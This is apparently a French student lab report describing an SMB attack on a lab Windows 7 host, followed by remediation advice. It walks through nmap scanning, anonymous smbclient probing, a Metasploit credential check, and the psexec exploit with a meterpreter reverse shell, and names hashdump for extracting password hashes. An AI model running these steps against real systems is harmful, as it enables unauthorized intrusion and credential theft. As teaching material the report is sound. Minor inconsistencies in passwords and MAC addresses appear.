

COMPTE RENDU DE TP : SÉCURITÉ OFFENSIVE

TP 3.2 — Attaque d'un système Windows et extraction d'identifiants

1. Objectif du TP

L'objectif de ce travail pratique est de reproduire un scénario d'attaque courant en milieu professionnel : un attaquant ayant déjà un accès au réseau interne tente de compromettre un poste de travail Windows. Ce TP démontre qu'une machine peut être compromise sans vulnérabilité complexe, mais simplement à cause de mauvaises configurations et de mots de passe faibles.

2. Contexte du Laboratoire

- **Machine Attaquante (Kali Linux) :** 192.168.56.30
- **Machine Cible (Windows) :** 192.168.56.20

3. Déroulement de l'Attaque

3.1 Vérification de l'accessibilité

Avant toute action, nous vérifions que la cible est joignable sur le réseau.

- **Commande :** `ping 192.168.56.20`

3.2 Identification des services Windows exposés

Nous effectuons un scan Nmap pour identifier les ports ouverts, particulièrement le port 445 (SMB), caractéristique des environnements Windows.

- **Commande :** `nmap -sS 192.168.56.20`

```
(tsafack@tsafack)-[~]
$ nmap -sS 192.168.56.20
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-27 06:28 +0200
Nmap scan report for 192.168.56.20
Host is up (0.00033s latency).
Not shown: 990 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
5357/tcp   open  wsddapi
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49155/tcp  open  unknown
49156/tcp  open  unknown
49157/tcp  open  unknown
MAC Address: 08:00:27:8C:2B:F4 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.97 seconds
```

3.3 Récupération d'informations sans authentification

Grâce au script `smb-os-discovery`, nous interrogeons le service SMB pour obtenir des détails sur le système (version de Windows, nom de la machine, groupe de travail).

- **Commande :** `nmap -p 445 --script smb-os-discovery 192.168.56.20`

```
(tsafack@tsafack)-[~]
$ nmap -p 445 --script smb-os-discovery 192.168.56.20
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-27 11:46 +0200
Nmap scan report for 192.168.56.20
Host is up (0.00034s latency).
Not shown: 442 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
MAC Address: 08:00:27:32:A1:2D (Oracle VirtualBox virtual NIC)

Host script results:
| smb-os-discovery:
|   OS: Windows 7 Professional 7600 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::-:professional
|   Computer name: willy-PC
|   NetBIOS computer name: WILLY-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2026-04-27T10:45:43+02:00

Nmap done: 1 IP address (1 host up) scanned in 6.37 seconds

(tsafack@tsafack)-[~]
$
```

3.4 Découverte des partages réseau

Nous listons les partages disponibles pour vérifier si des ressources sont accessibles sans mot de passe.

- **Commande :** `smbclient -L //192.168.56.20 -N` et `smbclient //192.168.56.20/smb -N`

```
(tsafack@tsafack)-[~]
$ smbclient -L //192.168.56.20 -N
Anonymous login successful

      Sharename      Type      Comment
      -----
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 192.168.56.20 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

(tsafack@tsafack)-[~]
$ smbclient //192.168.56.20/smb -N
Anonymous login successful
tree connect failed: NT_STATUS_BAD_NETWORK_NAME
```

3.5 Test de connexion et ouverture de session

En exploitant un mot de passe faible identifié (testuser / Password123!), nous utilisons Metasploit pour ouvrir une session distante via l'exploit `psexec`.

- **Outil :** Metasploit (`msfconsole`)
- **Payload :** Meterpreter

Pour ce fait on crée volontairement un compte vulnérable sous Windows avec la commande : `net user testuser password123! /add`

```
C:\Windows\system32>net user testuser password123! /add
La commande s'est terminée correctement.

C:\Windows\system32>_
```

Dans notre machine attaquante kali nous allons lancer une serie de commande pour crée une connexion en utilisant l'outil metasploit

```
msf > use auxiliary/scanner/smb/smb_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.56.20
RHOSTS => 192.168.56.20
msf auxiliary(scanner/smb/smb_login) > set SMBUser testuser
SMBUser => testuser
msf auxiliary(scanner/smb/smb_login) > set SMBPass password123!
SMBPass => password123!
msf auxiliary(scanner/smb/smb_login) > run
[*] 192.168.56.20:445 - 192.168.56.20:445 - Starting SMB login bruteforce
[+] 192.168.56.20:445 - 192.168.56.20:445 - Success: '.\testuser:password123!'
[!] 192.168.56.20:445 - No active DB -- Credential data will not be saved!
[*] 192.168.56.20:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.56.20:445 - Bruteforce completed, 1 credential was successful.
[*] 192.168.56.20:445 - You can open an SMB session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_login) > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
```

3.6 Extraction des informations sensibles

Une fois la session établie, nous utilisons la commande `hashdump` pour récupérer les empreintes (hashes) des mots de passe des utilisateurs.

- **Commande Meterpreter :** `hashdump`

4. Analyse de la Compromission (Compréhension Globale)

L'attaque a suivi une logique implacable :

1. **Observation** : Identification d'un service critique ouvert (SMB).
2. **Exploitation** : Utilisation d'un accès non sécurisé et d'un mot de passe trivial.
3. **Élévation** : Prise de contrôle totale pour extraire des données sensibles.

Cette attaque illustre la "faiblesse humaine" : un mot de passe simple suffit à transformer une vulnérabilité mineure en une compromission totale du réseau.

5. Mesures Correctives Proposées

Pour empêcher ce type de scénario, je préconise les mesures suivantes :

- **Politique de mots de passe forte** : Exiger un minimum de 12 caractères avec une complexité élevée (majuscules, chiffres, symboles).
- **Désactivation des partages anonymes** : Restreindre l'accès SMB aux seuls utilisateurs authentifiés et autorisés.
- **Surveillance réseau** : Utiliser des outils d'audit (comme Nmap ou Nessus) régulièrement pour détecter les services inutilement exposés.
- **Utilisation de l'authentification multi-facteurs (MFA)** : Pour limiter l'impact d'un vol d'identifiants.

6. Conclusion

Ce TP a permis de comprendre concrètement comment les outils Nmap, smbclient et Metasploit peuvent être combinés pour mener une attaque efficace. La sécurité ne dépend pas seulement de la mise à jour des logiciels, mais aussi et surtout de la rigueur dans la configuration des services de base.